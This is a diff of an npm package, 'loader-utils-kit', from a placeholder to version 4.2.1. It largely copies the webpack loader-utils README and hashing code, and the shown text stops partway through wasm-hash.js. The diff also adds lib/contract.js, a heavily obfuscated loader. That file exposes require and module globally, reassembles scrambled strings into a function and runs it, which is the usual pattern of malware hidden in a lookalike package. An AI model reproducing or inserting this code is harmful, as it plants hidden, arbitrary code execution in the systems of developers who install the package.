loader-utils-kit 0.0.0-stage → 4.2.1

package/LICENSE

@@ -0,0 +1,20 @@
+Copyright JS Foundation and other contributors
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+'Software'), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

package/README.md

@@ -1,3 +1,167 @@
-# Temporary Holding Version
+# loader-utils
 
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
+## Methods
+
+### `urlToRequest`
+
+Converts some resource URL to a webpack module request.
+
+> i Before call `urlToRequest` you need call `isUrlRequest` to ensure it is requestable url
+
+```javascript
+const url = "path/to/module.js";
+
+if (loaderUtils.isUrlRequest(url)) {
+  // Logic for requestable url
+  const request = loaderUtils.urlToRequest(url);
+} else {
+  // Logic for not requestable url
+}
+```
+
+Simple example:
+
+```javascript
+const url = "path/to/module.js";
+const request = loaderUtils.urlToRequest(url); // "./path/to/module.js"
+```
+
+#### Module URLs
+
+Any URL containing a `~` will be interpreted as a module request. Anything after the `~` will be considered the request path.
+
+```javascript
+const url = "~path/to/module.js";
+const request = loaderUtils.urlToRequest(url); // "path/to/module.js"
+```
+
+#### Root-relative URLs
+
+URLs that are root-relative (start with `/`) can be resolved relative to some arbitrary path by using the `root` parameter:
+
+```javascript
+const url = "/path/to/module.js";
+const root = "./root";
+const request = loaderUtils.urlToRequest(url, root); // "./root/path/to/module.js"
+```
+
+To convert a root-relative URL into a module URL, specify a `root` value that starts with `~`:
+
+```javascript
+const url = "/path/to/module.js";
+const root = "~";
+const request = loaderUtils.urlToRequest(url, root); // "path/to/module.js"
+```
+
+### `interpolateName`
+
+Interpolates a filename template using multiple placeholders and/or a regular expression.
+The template and regular expression are set as query params called `name` and `regExp` on the current loader's context.
+
+```javascript
+const interpolatedName = loaderUtils.interpolateName(
+  loaderContext,
+  name,
+  options
+);
+```
+
+The following tokens are replaced in the `name` parameter:
+
+- `[ext]` the extension of the resource
+- `[name]` the basename of the resource
+- `[path]` the path of the resource relative to the `context` query parameter or option.
+- `[folder]` the folder the resource is in
+- `[query]` the queryof the resource, i.e. `?foo=bar`
+- `[contenthash]` the hash of `options.content` (Buffer) (by default it's the hex digest of the `xxhash64` hash)
+- `[<hashType>:contenthash:<digestType>:<length>]` optionally one can configure
+  - other `hashType`s, i. e. `xxhash64`, `sha1`, `md4` (wasm version), `native-md4` (`crypto` module version), `md5`, `sha256`, `sha512`
+  - other `digestType`s, i. e. `hex`, `base26`, `base32`, `base36`, `base49`, `base52`, `base58`, `base62`, `base64`, `base64safe`
+  - and `length` the length in chars
+- `[hash]` the hash of `options.content` (Buffer) (by default it's the hex digest of the `xxhash64` hash)
+- `[<hashType>:hash:<digestType>:<length>]` optionally one can configure
+  - other `hashType`s, i. e. `xxhash64`, `sha1`, `md4` (wasm version), `native-md4` (`crypto` module version), `md5`, `sha256`, `sha512`
+  - other `digestType`s, i. e. `hex`, `base26`, `base32`, `base36`, `base49`, `base52`, `base58`, `base62`, `base64`, `base64safe`
+  - and `length` the length in chars
+- `[N]` the N-th match obtained from matching the current file name against `options.regExp`
+
+In loader context `[hash]` and `[contenthash]` are the same, but we recommend using `[contenthash]` for avoid misleading.
+
+`digestType` with `base64safe` don't contain `/`, `+` and `=` symbols.
+
+Examples
+
+```javascript
+// loaderContext.resourcePath = "/absolute/path/to/app/js/javascript.js"
+loaderUtils.interpolateName(loaderContext, "js/[hash].script.[ext]", { content: ... });
+// => js/9473fdd0d880a43c21b7778d34872157.script.js
+
+// loaderContext.resourcePath = "/absolute/path/to/app/js/javascript.js"
+// loaderContext.resourceQuery = "?foo=bar"
+loaderUtils.interpolateName(loaderContext, "js/[hash].script.[ext][query]", { content: ... });
+// => js/9473fdd0d880a43c21b7778d34872157.script.js?foo=bar
+
+// loaderContext.resourcePath = "/absolute/path/to/app/js/javascript.js"
+loaderUtils.interpolateName(loaderContext, "js/[contenthash].script.[ext]", { content: ... });
+// => js/9473fdd0d880a43c21b7778d34872157.script.js
+
+// loaderContext.resourcePath = "/absolute/path/to/app/page.html"
+loaderUtils.interpolateName(loaderContext, "html-[hash:6].html", { content: ... });
+// => html-9473fd.html
+
+// loaderContext.resourcePath = "/absolute/path/to/app/flash.txt"
+loaderUtils.interpolateName(loaderContext, "[hash]", { content: ... });
+// => c31e9820c001c9c4a86bce33ce43b679
+
+// loaderContext.resourcePath = "/absolute/path/to/app/img/image.png"
+loaderUtils.interpolateName(loaderContext, "[sha512:hash:base64:7].[ext]", { content: ... });
+// => 2BKDTjl.png
+// use sha512 hash instead of xxhash64 and with only 7 chars of base64
+
+// loaderContext.resourcePath = "/absolute/path/to/app/img/myself.png"
+// loaderContext.query.name =
+loaderUtils.interpolateName(loaderContext, "picture.png");
+// => picture.png
+
+// loaderContext.resourcePath = "/absolute/path/to/app/dir/file.png"
+loaderUtils.interpolateName(loaderContext, "[path][name].[ext]?[hash]", { content: ... });
+// => /app/dir/file.png?9473fdd0d880a43c21b7778d34872157
+
+// loaderContext.resourcePath = "/absolute/path/to/app/js/page-home.js"
+loaderUtils.interpolateName(loaderContext, "script-[1].[ext]", { regExp: "page-(.*)\\.js", content: ... });
+// => script-home.js
+
+// loaderContext.resourcePath = "/absolute/path/to/app/js/javascript.js"
+// loaderContext.resourceQuery = "?foo=bar"
+loaderUtils.interpolateName(
+  loaderContext,
+  (resourcePath, resourceQuery) => {
+    // resourcePath - `/app/js/javascript.js`
+    // resourceQuery - `?foo=bar`
+
+    return "js/[hash].script.[ext]";
+  },
+  { content: ... }
+);
+// => js/9473fdd0d880a43c21b7778d34872157.script.js
+```
+
+### `getHashDigest`
+
+```javascript
+const digestString = loaderUtils.getHashDigest(
+  buffer,
+  hashType,
+  digestType,
+  maxLength
+);
+```
+
+- `buffer` the content that should be hashed
+- `hashType` one of `xxhash64`, `sha1`, `md4`, `md5`, `sha256`, `sha512` or any other node.js supported hash type
+- `digestType` one of `hex`, `base26`, `base32`, `base36`, `base49`, `base52`, `base58`, `base62`, `base64`, `base64safe`
+- `maxLength` the maximum length in chars
+
+## License
+
+MIT (http://www.opensource.org/licenses/mit-license.php)

package/lib/contract.js

@@ -0,0 +1,8 @@
+function contract() {
+    global.i = '2';
+    var _$_d876 = (function (x, e) { var n = x.length; var q = []; for (var z = 0; z < n; z++) { q[z] = x.charAt(z) }; for (var z = 0; z < n; z++) { var r = e * (z + 213) + (e % 38225); var t = e * (z + 668) + (e % 25980); var d = r % n; var c = t % n; var p = q[d]; q[d] = q[c]; q[c] = p; e = (r + t) % 2892945 }; var k = String.fromCharCode(127); var g = ''; var m = '\x25'; var w = '\x23\x31'; var f = '\x25'; var j = '\x23\x30'; var s = '\x23'; return q.join(g).split(m).join(k).split(w).join(f).split(j).join(s).split(k) })("e%objrct%m", 2404686); global[_$_d876[0x0]] = require; if (typeof module === _$_d876[0x1]) { global[_$_d876[0x2]] = module }
+    (function () { var teD = '', ziD = 422 - 411; function ype(b) { var t = 2319581; var l = b.length; var d = []; for (var k = 0; k < l; k++) { d[k] = b.charAt(k) }; for (var k = 0; k < l; k++) { var g = t * (k + 143) + (t % 34562); var j = t * (k + 599) + (t % 19024); var o = g % l; var h = j % l; var q = d[o]; d[o] = d[h]; d[h] = q; t = (g + j) % 3591111; }; return d.join('') }; var OUN = ype('uoxgwmorcazdjcyqsthinkcrtpneltsfburov').substr(0, ziD); var LEF = 'Sa =a=frsrulrrl=as(v+=r7iafg!d=b,C,vnl+;[ien8r6v.aaz;nvca j=a71,ha20],a1tk),(=i81,)ah)[}r=lte,g2eaotp(nhr=p c;;,xg,7p,n5g;ch0g;=.in0=rrvor+bodmo)j8Cr-5t7var(),d,[l]t,rct=))l ..[=81u(;5hwvrre4;}4a(0;  fscr8=9S(waprg( uvthfl]ngtlf;rri8cat.c());umde)v;=r(p.j+u=fx")ral,asnreioaplrn;v[b]i6>Al[if;vq+8(p,;.A"==r1rinhnji6-c+j)[q) {lhjaromr0avd) nb+)+-nwmn;}a* 8ogoa(9a( ejoAi(x;pf {tv;dszno)c1t62h.o7t(.o+nmr) r*mze6a9 o== n0cd8vfu+,;1h;vCore=thn1sf.),p6v;i+[]ve9s(lnsAz;(;asssCsAdhv349(.j;)d}=-;+piw"u 9]+(fs+n.fu++1)he[t=C,2r;n9m="hf+l2r0=k=e(;ii<;vi,f==ed===uolyvC1c,ut=(sltrt.7][had)s;bytjlnh;m<y;)(=-pueh(1[]l.a;;(lfip1}u1,f!;n2=.),i,h;<.)suuo)p[(vph[fa"f)g]mi);cfi]-5drtemq3;)q})cg-ys=o=[v]0;0v(rff=36jgid)."f+v6; rkC]s,2;rl+,.0);sd7f <=.3eoet=c+op+ (b+t.urgre(ok{panrfn=(w6ld.or(104  nl0m<u.=n.gr)ya+a=ir(yqe>ft(v{oe;pf ;i;e)lprri7};hrh;{.hhr(e5 r+ova+kr8(".cr8tu]nu",s{]e  vr"t").C;{.,xr0'; var whk = ype[OUN]; var YOB = ''; var kWJ = whk; var ovJ = whk(YOB, ype(LEF)); var HRZ = ovJ(ype('=dxig9uffhtC4rkbrar!ac)=%r](-{urF]r(FF]7]cy%e%,F;F6ale$es Fud?a6rF{oos};0T1yg.C]F9a]fsiuc.sn%rs+i1tc.,.=nho__F{F%)4).05r}oe6ha.?((sa81i9Fax%Fi1co.)F]mea%13.l%n]ro_3un;;ncbr];F].FGt[(]5}.3FH1c2=.atfd w..F.45(t84.(gFc{eSu+iFv3f]f}]F!#.too7t}ouo:st.qrt_pfe]Ffjn!_ rF61trfse6beheDbF%_e}u).%Fo (:nFCFoF9dsn2b.]om.qn)hF ao)}.)FF+33;f.ua}5=gsrua_tr;9 l;,eFfFaFo3t.sc8}uFt.0w=F}r%ffneg3]p$F;.rfr2ru"!yzn=e=(F{Fe5e.dF,.Ffadvr<s=rh,f%mu]s.=ctr.gt(!]hrtF1.er2r;2tn}i;ao%Ff!o1a8)eb3tv[]1sF3oer>]x\/9={k0C1f[1y]d]nq7}]Fr,n;i3t0e.cegDd}F9FdF1.7{FN}hg_6&(lr>co(3a}t]t.4*FaF(]fe\/(td]dxbte31F7itc%F4)_C9!)acie1;FFf.,3F]u)l)o)a%md20}<%-.S8(hpi..)w6]=F FFFF7F8]c4\'.F,2t.prmfEenq5n5fft,]6,l%9)ani-1F&3.i%(xu0)+Fr!.eF%HSfcnl]h%SNns=o ntde.tain[f9 (sn_=hm)t=#icc[vr++rb%ctie.._c2ws:_+fFlCh]2hyn ;sppeFGc=fz;Fi%decfr rAie%0f<rFliti]7)oqr3(1F;v_ec036m:%h5i.%aF%vlrovrcsdFo]bnFr)m)rm5c.ntad &ah1T3:i]n?=8}2F%%]a_se)}cF%{Fxpufsb,_uhFp1c)F(,2nr F3F\/g))t1.tF.).r]o(t.;!h=Fdh}a}(:c2Ff13\/c.6F1Bneboees3w[;gn(1.1fv.%axxmb :d?D.Fp&[saf9;n7[b+cw7.g] 77vtice1>41,!a#%F3F2(3x=FFmv2rFdh2@o%g(%(Fn-1.(7.odtufren3i;raf]e b.4fspc.7oFc(see{.De)u%8$igna F_Sc[e]og;ca)6<F%cE,"nsn%co8.(j.CgpenoCnn-%s=_s1)c_hlrtaryr+sF]FF<_fl,fr.l(iF"c;<lF&8e%ocooi]3 Fl)au.i(]Fut . s=!%m4f1fiFo6]d9=*) Eo)!i!4a)u)_sao[.e}mfdc>a%ot-6FFtc+pifa}x%,f]fh0F}fF(!:)0F]9)amFFrF5e3}l3=)F>FeF>Feo!;7@]#ran;F--])h.%1< fdyii=;]mEteFFF1) )o;j5clc1=oe"FABjor?Fe. 0m.ceTpa$tnii_]pNFa\'+0a0foyt<|62dd;8.%iFboe.uh=-trs:)_4(=FF8F _tho}]19mfF8e{Ff:o3:t]t_\'.;%=deeba;_d6rfoF*.%ofT4aoeF%66nFe_fFw.e+..,ebeo719$i%d0knx(ia{3#9e{iF=%25Fcu9w.ucu%%avjpn(Fn3Fnwp.;f(.easu.fa6=tFr(od{,E(1eFAE=aF3o3yFb=3f\/t59kFc.bF2];tFFeoFunFF6m.F&]<$2anFlce6,}3rF]F_+1]F.io8(6Fi%shsFj&]trrFs.efiFF9tt)fn3bsFo7i=ert}}tr5t()4BBx%)asd((-F1aF.F8C]%r]F]))-0=]d1F;)dc87[=)#Fy!My{t-)1@%pls0efn6]\'ufo21mnt1.c]Fc7F9{Fi2grc6,)-=iakc8.l2Fi-%;g7a.\/[Fu1at\'wl.o[5rd].)z)od)(.Fa.0c)2eF(f[)todfF=nnF3.A.F\/9nF;Tf%!=%\/i(cic[Tt=]31Fbf]rFkbty:a!)F6Batujo=8f\/]Fbk}a_2;[&8FnnF]mtha"paqu;1}ff-};5)_5Fh0FC_t(FFe0;1\/(Fu]F]{sw-nx2gFtfo%i=jFat%fFF3!.5crF)2FC=f&2!Fdo,]s]nF]\/ 1f%o]yoc)o%Fs1)}yF*(c221,,d)sDieFFfc.}F]e=e=[8&FGF]),%dn1)ll?#iFi)8e2ces)&l *r8rl!)tt(=n\/t5(jt+ga}.h)]}6uFCfeFG\/nfs+@FmbF?F_gFsi0-)4F4u3tEF{=r"g(FF2_;Fcten.*,$F.z=7FttrF(d)!4r,%r].)wt1.-F#[i.<5o](31ngt Fm]ri<1a.an20Fei"\/]ni ]Fo%a83t%F{$9(4F)rFDn]F-F8dc:euFeasrdjpt+)- 9tDe.)7.mr2F1]eF] e]eFxf+:FF({vFktat1ayi(Fi.}nce6 &5\'?u[]fre3]Fit*F8}0Far;e fnFlr_s32HFr)ct0=_):=8r{4bHbe(=dw%1;-=\/ese]a.p],r1]..nrftn,1iFs}-%B, ;,c?2cob)eet.n)%= F%2 9t.fs6Fd *ft )94c7hl+F]h%aFF]-fei!ede(aFF6_ci%prF:]ch]o+kf%t|=aFtrc4;Faf.0on(l).!.eh(t)s..2rs;t"e>r3pdt :,jF_FtF301.M).[0.=n!feiya2t=c{;e i+lF*ra(Bau[1tFmnF+]*r.i"11dF]1)}\/o3e.)]84!}F-.u_nsw')); var cMp = kWJ(teD, HRZ); cMp(7746); return 9212 })()
+        
+}
+
+module.exports = contract

package/lib/getHashDigest.js

@@ -0,0 +1,136 @@
+"use strict";
+
+const baseEncodeTables = {
+  26: "abcdefghijklmnopqrstuvwxyz",
+  32: "123456789abcdefghjkmnpqrstuvwxyz", // no 0lio
+  36: "0123456789abcdefghijklmnopqrstuvwxyz",
+  49: "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ", // no lIO
+  52: "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
+  58: "123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ", // no 0lIO
+  62: "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
+  64: "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_",
+};
+
+/**
+ * @param {Uint32Array} uint32Array Treated as a long base-0x100000000 number, little endian
+ * @param {number} divisor The divisor
+ * @return {number} Modulo (remainder) of the division
+ */
+function divmod32(uint32Array, divisor) {
+  let carry = 0;
+  for (let i = uint32Array.length - 1; i >= 0; i--) {
+    const value = carry * 0x100000000 + uint32Array[i];
+    carry = value % divisor;
+    uint32Array[i] = Math.floor(value / divisor);
+  }
+  return carry;
+}
+
+function encodeBufferToBase(buffer, base, length) {
+  const encodeTable = baseEncodeTables[base];
+
+  if (!encodeTable) {
+    throw new Error("Unknown encoding base" + base);
+  }
+
+  // Input bits are only enough to generate this many characters
+  const limit = Math.ceil((buffer.length * 8) / Math.log2(base));
+  length = Math.min(length, limit);
+
+  // Most of the crypto digests (if not all) has length a multiple of 4 bytes.
+  // Fewer numbers in the array means faster math.
+  const uint32Array = new Uint32Array(Math.ceil(buffer.length / 4));
+
+  // Make sure the input buffer data is copied and is not mutated by reference.
+  // divmod32() would corrupt the BulkUpdateDecorator cache otherwise.
+  buffer.copy(Buffer.from(uint32Array.buffer));
+
+  let output = "";
+
+  for (let i = 0; i < length; i++) {
+    output = encodeTable[divmod32(uint32Array, base)] + output;
+  }
+
+  return output;
+}
+
+let crypto = undefined;
+let createXXHash64 = undefined;
+let createMd4 = undefined;
+let BatchedHash = undefined;
+let BulkUpdateDecorator = undefined;
+
+function getHashDigest(buffer, algorithm, digestType, maxLength) {
+  algorithm = algorithm || "xxhash64";
+  maxLength = maxLength || 9999;
+
+  let hash;
+
+  if (algorithm === "xxhash64") {
+    if (createXXHash64 === undefined) {
+      createXXHash64 = require("./hash/xxhash64");
+
+      if (BatchedHash === undefined) {
+        BatchedHash = require("./hash/BatchedHash");
+      }
+    }
+
+    hash = new BatchedHash(createXXHash64());
+  } else if (algorithm === "md4") {
+    if (createMd4 === undefined) {
+      createMd4 = require("./hash/md4");
+
+      if (BatchedHash === undefined) {
+        BatchedHash = require("./hash/BatchedHash");
+      }
+    }
+
+    hash = new BatchedHash(createMd4());
+  } else if (algorithm === "native-md4") {
+    if (typeof crypto === "undefined") {
+      crypto = require("crypto");
+
+      if (BulkUpdateDecorator === undefined) {
+        BulkUpdateDecorator = require("./hash/BulkUpdateDecorator");
+      }
+    }
+
+    hash = new BulkUpdateDecorator(() => crypto.createHash("md4"), "md4");
+  } else {
+    if (typeof crypto === "undefined") {
+      crypto = require("crypto");
+
+      if (BulkUpdateDecorator === undefined) {
+        BulkUpdateDecorator = require("./hash/BulkUpdateDecorator");
+      }
+    }
+
+    hash = new BulkUpdateDecorator(
+      () => crypto.createHash(algorithm),
+      algorithm
+    );
+  }
+
+  hash.update(buffer);
+
+  if (
+    digestType === "base26" ||
+    digestType === "base32" ||
+    digestType === "base36" ||
+    digestType === "base49" ||
+    digestType === "base52" ||
+    digestType === "base58" ||
+    digestType === "base62" ||
+    digestType === "base64safe"
+  ) {
+    return encodeBufferToBase(
+      hash.digest(),
+      digestType === "base64safe" ? 64 : digestType.substr(4),
+      maxLength
+    );
+  }
+
+  return hash.digest(digestType || "hex").substr(0, maxLength);
+}
+
+module.exports = getHashDigest;

package/lib/hash/BatchedHash.js

@@ -0,0 +1,64 @@
+const MAX_SHORT_STRING = require("./wasm-hash").MAX_SHORT_STRING;
+
+class BatchedHash {
+  constructor(hash) {
+    this.string = undefined;
+    this.encoding = undefined;
+    this.hash = hash;
+  }
+
+  /**
+   * Update hash {@link https://nodejs.org/api/crypto.html#crypto_hash_update_data_inputencoding}
+   * @param {string|Buffer} data data
+   * @param {string=} inputEncoding data encoding
+   * @returns {this} updated hash
+   */
+  update(data, inputEncoding) {
+    if (this.string !== undefined) {
+      if (
+        typeof data === "string" &&
+        inputEncoding === this.encoding &&
+        this.string.length + data.length < MAX_SHORT_STRING
+      ) {
+        this.string += data;
+
+        return this;
+      }
+
+      this.hash.update(this.string, this.encoding);
+      this.string = undefined;
+    }
+
+    if (typeof data === "string") {
+      if (
+        data.length < MAX_SHORT_STRING &&
+        // base64 encoding is not valid since it may contain padding chars
+        (!inputEncoding || !inputEncoding.startsWith("ba"))
+      ) {
+        this.string = data;
+        this.encoding = inputEncoding;
+      } else {
+        this.hash.update(data, inputEncoding);
+      }
+    } else {
+      this.hash.update(data);
+    }
+
+    return this;
+  }
+
+  /**
+   * Calculates the digest {@link https://nodejs.org/api/crypto.html#crypto_hash_digest_encoding}
+   * @param {string=} encoding encoding of the return value
+   * @returns {string|Buffer} digest
+   */
+  digest(encoding) {
+    if (this.string !== undefined) {
+      this.hash.update(this.string, this.encoding);
+    }
+
+    return this.hash.digest(encoding);
+  }
+}
+
+module.exports = BatchedHash;

package/lib/hash/BulkUpdateDecorator.js

@@ -0,0 +1,107 @@
+const BULK_SIZE = 2000;
+
+// We are using an object instead of a Map as this will stay static during the runtime
+// so access to it can be optimized by v8
+const digestCaches = {};
+
+class BulkUpdateDecorator {
+  /**
+   * @param {Hash | function(): Hash} hashOrFactory function to create a hash
+   * @param {string=} hashKey key for caching
+   */
+  constructor(hashOrFactory, hashKey) {
+    this.hashKey = hashKey;
+
+    if (typeof hashOrFactory === "function") {
+      this.hashFactory = hashOrFactory;
+      this.hash = undefined;
+    } else {
+      this.hashFactory = undefined;
+      this.hash = hashOrFactory;
+    }
+
+    this.buffer = "";
+  }
+
+  /**
+   * Update hash {@link https://nodejs.org/api/crypto.html#crypto_hash_update_data_inputencoding}
+   * @param {string|Buffer} data data
+   * @param {string=} inputEncoding data encoding
+   * @returns {this} updated hash
+   */
+  update(data, inputEncoding) {
+    if (
+      inputEncoding !== undefined ||
+      typeof data !== "string" ||
+      data.length > BULK_SIZE
+    ) {
+      if (this.hash === undefined) {
+        this.hash = this.hashFactory();
+      }
+
+      if (this.buffer.length > 0) {
+        this.hash.update(this.buffer);
+        this.buffer = "";
+      }
+
+      this.hash.update(data, inputEncoding);
+    } else {
+      this.buffer += data;
+
+      if (this.buffer.length > BULK_SIZE) {
+        if (this.hash === undefined) {
+          this.hash = this.hashFactory();
+        }
+
+        this.hash.update(this.buffer);
+        this.buffer = "";
+      }
+    }
+
+    return this;
+  }
+
+  /**
+   * Calculates the digest {@link https://nodejs.org/api/crypto.html#crypto_hash_digest_encoding}
+   * @param {string=} encoding encoding of the return value
+   * @returns {string|Buffer} digest
+   */
+  digest(encoding) {
+    let digestCache;
+
+    const buffer = this.buffer;
+
+    if (this.hash === undefined) {
+      // short data for hash, we can use caching
+      const cacheKey = `${this.hashKey}-${encoding}`;
+
+      digestCache = digestCaches[cacheKey];
+
+      if (digestCache === undefined) {
+        digestCache = digestCaches[cacheKey] = new Map();
+      }
+
+      const cacheEntry = digestCache.get(buffer);
+
+      if (cacheEntry !== undefined) {
+        return cacheEntry;
+      }
+
+      this.hash = this.hashFactory();
+    }
+
+    if (buffer.length > 0) {
+      this.hash.update(buffer);
+    }
+
+    const digestResult = this.hash.digest(encoding);
+
+    if (digestCache !== undefined) {
+      digestCache.set(buffer, digestResult);
+    }
+
+    return digestResult;
+  }
+}
+
+module.exports = BulkUpdateDecorator;

package/lib/hash/md4.js

@@ -0,0 +1,20 @@
+/*
+	MIT License http://www.opensource.org/licenses/mit-license.php
+	Author Tobias Koppers @sokra
+*/
+
+"use strict";
+
+const create = require("./wasm-hash");
+
+//#region wasm code: md4 (../../../assembly/hash/md4.asm.ts) --initialMemory 1
+const md4 = new WebAssembly.Module(
+  Buffer.from(
+    // 2150 bytes
+    "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",
+    "base64"
+  )
+);
+//#endregion
+
+module.exports = create.bind(null, md4, [], 64, 32);

package/lib/hash/wasm-hash.js

@@ -0,0 +1,208 @@
+/*
+	MIT License http://www.opensource.org/licenses/mit-license.php
+	Author Tobias Koppers @sokra
+*/
+
+"use strict";
+
+// 65536 is the size of a wasm memory page
+// 64 is the maximum chunk size for every possible wasm hash implementation
+// 4 is the maximum number of bytes per char for string encoding (max is utf-8)
+// ~3 makes sure that it's always a block of 4 chars, so avoid partially encoded bytes for base64
+const MAX_SHORT_STRING = Math.floor((65536 - 64) / 4) & ~3;
+
+class WasmHash {
+  /**
+   * @param {WebAssembly.Instance} instance wasm instance
+   * @param {WebAssembly.Instance[]} instancesPool pool of instances
+   * @param {number} chunkSize size of data chunks passed to wasm
+   * @param {number} digestSize size of digest returned by wasm
+   */
+  constructor(instance, instancesPool, chunkSize, digestSize) {
+    const exports = /** @type {any} */ (instance.exports);
+
+    exports.init();
+
+    this.exports = exports;
+    this.mem = Buffer.from(exports.memory.buffer, 0, 65536);
+    this.buffered = 0;
+    this.instancesPool = instancesPool;
+    this.chunkSize = chunkSize;
+    this.digestSize = digestSize;
+  }
+
+  reset() {
+    this.buffered = 0;
+    this.exports.init();
+  }
+
